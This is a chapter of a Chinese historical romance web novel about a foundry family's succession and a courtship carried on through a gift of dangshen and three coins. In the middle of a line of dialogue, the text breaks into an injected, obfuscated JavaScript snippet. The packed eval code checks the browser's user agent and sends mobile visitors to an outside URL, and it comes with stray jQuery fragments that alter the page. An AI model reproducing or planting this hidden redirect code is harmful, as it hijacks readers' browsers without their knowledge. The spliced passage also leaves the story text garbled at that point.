冬去春来，惊蛰物候，草木萌动，早花争妍，周四海又被花粉勾起了老毛病，鼻鼽不止，对冶铸坊的炭火气更是避之不及，也正因此，冶坊和铺子全压到了周允身上。


    而自那日叶丛找了周允过后，二人默契使然，对匠头之事讳莫如深，周允心中自有定夺，他笃定匠头只能由他来做。


    但凡讲究的大型工事，必先收揽师傅们的生辰八字，为的是剔除那些八字不合之人，以防刑冲克耗工程。这回也不例外，前些时日，坊里的老师傅，包含着周允周四海二人的八字便全都交了上去。


    周允对此胸有成竹，且不说这规程本就是虚应故事，就是依照那法度来选，他也是匠头的最佳人选。他克死过三个至亲，放眼望去，坊里没有哪个人物比他命硬。


    可二月廿二，一纸皇命打碎他心中所想。


    这次的匠头，既不是正被鼻鼽所困的周四海，也不是他自认命硬的周允。


    而是坊里的二师傅，谢烛。


    周氏冶铸坊规模大，上下资历等级明确，坊里最老的师傅是周允的爷爷，也就是叶丛的师父，如今老人家早已离世。周老爷子有三个徒弟，大徒弟叶丛，二徒弟谢烛，三徒弟便是周四海。


    师兄弟三个人自小便在一块学艺长大，故而都留在了老爷子创办的冶铸坊里，现今坊里的大师傅是叶丛，二师父则是谢烛，周四海是老板，硬要分说，也算得上三师傅。


    冶铸坊向来一视同仁，大师傅和二师傅是一样的待遇地位，只是周四海每每遇事不决，便惯来先找二人商量一番，故而，师兄弟三个多年来感情融洽，兄友弟恭，从未有过内讧不合，周家锅铺也蒸蒸日上。


    谢家做香楮奠礼出身，因此周允每年烧的纸人也都是谢老爷子做的。谢家虽清苦，家风却正派不苟，后来谢烛进了冶铸坊，家里日子渐渐好起来。谢烛之妻正是周允之母叶青岚的手帕交，谢烛膝下育有一女，年十七，随了母姓，名为吴碧秋，平日在吴家的生药铺子里帮忙。


    周家、叶家、谢家，师徒姻亲，来来往往，愈发亲近。


    如今朱批圣旨来报，指明要谢烛做匠头，他的八字最为适宜，而二师傅绝非不堪托付之人，故而众人自是也无异议。


    周允无意让任何人冒险，但他吃了瘪，只盼工事无往不利，也只能如此。


    贤达六年，二月廿四，流年流日天地合，冶铸坊拉起红绸，点了炮仗，尊天地，事鬼神，全体工匠敬香，侍卫环着冶铸坊昼夜不停地巡逻，冶铸坊即刻围禁，成了工事重地。就是叶丛这样的老师傅也不禁犯嘀咕，从业二十余年，他还从未见过这般阵仗。


    匠头只能留一个，故而周允连同叶丛均被迫离开冶铸坊。


    被周允一块带走的，还有他那一屋子铁锅。


    今年的厨艺大赛，对于锅铺而言，免不了又是一顿忙活，往届比赛用的炊具多是从周家冶铸坊统一拿货，因着这个由头，参加比赛的厨子们也不差一个铁锅钱，总要在赛前先来周家买口锅练手，自然而然，锅铺生意就多起来。


    从冶铸坊出来，周允便携一车炊具先去了铺子。


    兄妹二人多日未见，叶文珠挤出两个酒窝迎上来，问：“表哥近日可好？”


    掌柜的盯着卸货，周允往后院厅堂走去，随意应着叶文珠的问候。


    叶文珠紧跟其后，又问：“姨丈的鼻鼽好些了？”


    他依旧是淡淡一句“嗯”。


    叶文珠自说自话：“听闻钊姐姐前些时日病了，不如明日表哥与我一同前去探望？”


    周允走到厅堂，待坐正身子，才不徐不疾道：“与我何干？”


    叶文珠登时嗔恼：“表哥！”她快步走到周允面前，颇为不满地撅起嘴来，“她是咱们的朋友！做人岂能这般淡漠？你总是如此！”


    见他一动未动，依旧不开口，叶文珠又气冲冲回到椅子上坐下，闷闷地絮叨：“你不去，我自己去，我到要看看，日后除了李聿谁还肯理你！”


    话音刚落，叶文珠知道自己说错了话，苦哈哈把头慢慢垂下，双唇紧闭。


    周允没有情绪地朝屋外看去，眼底深沉莫测，视线落到马厩边，小厮正扛着铁锅往库房里送，一切有条不紊，唯独一处异样，与往日不大相同。


    在木头柱子上挂着的那顶纱帽呢？


    那帽子陈旧，帽檐宽大，垂着一层白纱，似乎是哪个小厮从外头拾的，无人认领，这才挂在后院，风吹日晒，沾上不少灰尘。


    想必那日他兀自给人戴上这样一顶没人要的纱帽，任谁也要厌烦。可十多年来，他早就受尽人世间的厌与烦，佣人、同窗、大街上随随便便的人都想离他更远。


    比起这些，她的厌烦，实在算不上什么，毕竟他本来也是该受到厌烦的。


    可那顶纱帽呢？在她手里还是被丢掉了？


    长久的静默后，叶文珠小心翼翼叫他：“表哥...”


    周允眼眉一跳，而后看过去：“索性准你几日假，你爹也闲下来了，回家看看也好。”


    叶文珠闻言松了一口气，脸颊上两个酒窝若隐若现，嘴角却仍压着，她小声问：“真的么？”


    他耷着眼皮眨了眨眼。


    叶文珠抿着嘴笑，乖乖说道：“明儿我先去给钊姐姐挑个礼。”


    周允起身往外走几步，回转道来：“香敏和花敏想必有些共性，府上还有些药材，现也无人可用，明日我差人送来，你去送了也正合适。”


    叶文珠一笑：“多谢表哥，还是表哥想得周全！”


    周允不动声色，点了点头，又往外走去。


    翌日，秀秀临出门前接到来信，得知今日叶文珠要来拜访，便在家候着。


    见秀秀脸色大好，不见病气，又是一副厨娘打扮，叶文珠料到秀秀是要去金鼎轩，故而并未久待，只送了礼说了几句话，便欲离去。


    秀秀笑道：“今早听闻你要过来，我便早早去小厨房吊上了汤，正想让你给我尝尝好坏呢。”


    叶文珠一听，把身子坐正，笑靥如花：“钊姐姐这般信任我，这汤我是喝定了！”


    秀秀眉眼含笑：“‘


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16633000|188039||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    钊姐姐’听着真是生分，妹妹不如随着寅生唤我？”


    叶文珠上前挽上秀秀手臂，甜甜一句：“秀秀姐姐。”又把木盒从桌上拿起，“这是表哥...是表哥同我一块挑的呢。只是他一男子，上门探望多少不便，便托我把这份心意送到！姐姐莫怪，他其实也挂念得很！”


    秀秀听闻“表哥”一词，不知为何心里虚晃，可不管这番话里几分真几分假，在文珠面前，她面上仍是展露笑意，又闻叶文珠催她：“快打开看看。”


    秀秀打开狭长木盒，掀开裹着的红绸，垂眼看去。


    她知道这东西，这是平城的地道药材，叫党参，健脾益肺，虽不比人参，却也价值不菲。如今木匣里装的是真人参，党参里最为名贵的一种，以前在胡家，她去给胡仲赉抓药时，在药铺子听人提起过。


    那个时候哪能想到，有朝一日，她也能收到旁人送的党参呢。


    秀秀忙道：“这药材很是名贵。”


    叶文珠再三强调：“你收着便是，对香敏症大有益处！”


    秀秀心中甚是温暖，却又止不住地想，文珠的这份人情，或者捎带着周允，她不知如何才能还了。


    这时，叶文珠小声趴到她耳畔，替那寡言少语、冷酷无情、不明事理、叫人操心的表哥说好话：“姐姐切莫有负担，你能收下，表哥与我不知多开心呢。”


    见秀秀皓洁脸庞顿时酡红，叶文珠狐疑问道：“秀秀姐姐，你是又要犯病了么？脸色怎么这般红？”


    秀秀摇摇头，手背抚上脸，心想幸好翠鸾红莺不在，不然二人今晚又不知该怎么笑她。正思忖着，却无意瞥见木盒一角，她蓦地惊慌失措，匆匆阖上了盖子，收了起来。


    梳妆台上的镜子里，粉颈低垂，她拉开小匣，把党参盒子压在同样沉甸甸的《千字文》上，一抬头，看见镜中娇艳如花的脸，心跳砰砰，她暂时无心去想这是为何，只背对着叶文珠说道：“妹妹费心了！你稍作休息，吃块点心，我去厨房瞧瞧。”


    叶文珠当即起身，自然地挽上秀秀胳膊：“我与姐姐一起。”


    用过饭后，秀秀从衣橱里取出一顶纱帽递给叶文珠，解释道：“那日取锅路上，我戴了回来，早就洗净，恰逢着过年，尚未去锅铺归还，一时忘了，竟拖到现在。今日你过来，反倒提醒了我，劳烦妹妹捎回锅铺，替我跑一趟了。”


    叶文珠接过来，瞧着这顶旧旧的纱帽，心里古怪，却也并未多想，只答应着，拿着帽子，回了锅铺。


    送走了文珠，秀秀静悄悄打开木匣，眉蹙春山，指甲在匣上扣了又扣，发出干燥的“嚓吱”声，细微、磨人、刺耳，在这空荡荡的房里，如木头的呻吟一般。


    她细细回想过往与周允为数不多的接触，一时间又讶异又惧怕，疑惑，沉闷，却也隐隐明白这意味着什么。


    很可惜，她并不打算承接这份莫名其妙的...情。


    指尖掀开红绸，木匣角落里安静躺着除了党参外的另一个物件。


    一根红绳串起来的铜板，不多不少，正好三个。